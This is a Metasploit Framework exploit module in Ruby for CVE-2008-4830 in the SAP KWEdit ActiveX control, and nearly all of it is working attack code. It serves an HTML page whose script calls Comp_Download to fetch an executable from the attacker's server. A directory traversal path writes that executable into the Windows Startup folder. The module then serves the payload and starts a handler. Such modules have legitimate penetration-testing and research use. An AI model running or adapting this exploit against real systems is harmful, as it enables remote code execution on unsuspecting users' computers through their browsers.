EnjoySAP SAP GUI – ActiveX Control Arbitrary File Download (Metasploit)
## # $Id: enjoysapgui_comp_download.rb 11189 2010-12-01 03:18:05Z swtornio $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :os_name => OperatingSystems::WINDOWS, :javascript => true, :rank => NormalRanking, :vuln_test => nil, }) def initialize(info = {}) super(update_info(info, 'Name' => 'EnjoySAP SAP GUI ActiveX Control Arbitrary File Download', 'Description' => %q{ This module allows remote attackers to place arbitrary files on a users file system by abusing the "Comp_Download" method in the SAP KWEdit ActiveX Control (kwedit.dll 6400.1.1.41). }, 'License' => MSF_LICENSE, 'Author' => [ 'MC' ], 'Version' => '$Revision: 11189 $', 'References' => [ [ 'CVE', '2008-4830'], [ 'OSVDB', '53680'], [ 'URL', 'http://dsecrg.com/files/pub/pdf/HITB%20-%20Attacking%20SAP%20Users%20with%20Sapsploit.pdf' ], ], 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f', }, 'Payload' => { 'Space' => 2048, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => '??? ?? ????')) register_options( [ OptString.new('PATH', [ true, 'The path to place the executable.', '/../../../../../../../../Documents and Settings/All Users/Start Menu/Programs/Startup/']), ], self.class) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) payload_url = "http://" payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload" if (request.uri.match(/payload/)) return if ((p = regenerate_payload(cli)) == nil) data = generate_payload_exe({ :code => p.encoded }) print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return end vname = rand_text_alpha(rand(100) + 1) exe = rand_text_alpha(rand(20) + 1) content = %Q| <html> <head> <script> try { var #{vname} = new ActiveXObject('Kweditcontrol.KWedit.1'); #{vname}.Comp_Download("#{payload_url}","#{datastore['PATH']}/#{exe}.exe"); } catch( e ) { window.location = 'about:blank' ; } </script> </head> </html> | print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") send_response_html(cli, content) handler(cli) end end |